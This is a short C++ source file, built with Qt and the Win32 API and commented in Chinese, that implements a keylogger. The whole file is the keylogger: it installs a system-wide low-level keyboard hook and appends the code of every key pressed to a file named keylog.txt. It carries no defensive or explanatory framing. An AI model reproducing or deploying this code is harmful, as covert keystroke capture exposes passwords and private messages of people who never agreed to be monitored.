#include <QtCore/QCoreApplication>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream of;
HHOOK hook=0;
DWORD processId;
MSG msg;
void OpenFile();
void CloseFile();

// Function prototypes
LRESULT CALLBACK hookproc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//监听键盘事件
	if (nCode == HC_ACTION)
	{
	
		KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lParam;
		//判断按下还是释放
		if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
		{
			OpenFile();
			of << (char)kbs->vkCode;
			CloseFile();
		}
	}
	//将消息传递给下一个钩子
	return CallNextHookEx(hook, nCode, wParam, lParam);
}


void CloseFile() {
	of.close();
}

void OpenFile()
{
	of.open("keylog.txt", ios::app);
}

void MessageLoop() 
{
	while (GetMessage(&msg,NULL,0,0))
	{
		bool v=	TranslateMessage(&msg);
		  DispatchMessage(&msg);
	}

}

void  SetHook()
{
	processId = GetCurrentThreadId();
	hook = SetWindowsHookEx(WH_KEYBOARD_LL, &hookproc, GetModuleHandle(NULL), 0);
	if (hook == NULL)
		exit(0);
}


int main(int argc, char *argv[])
{
    QCoreApplication app(argc, argv);
    SetHook();
	MessageLoop();
	UnhookWindowsHookEx(hook);

    return app.exec();
}
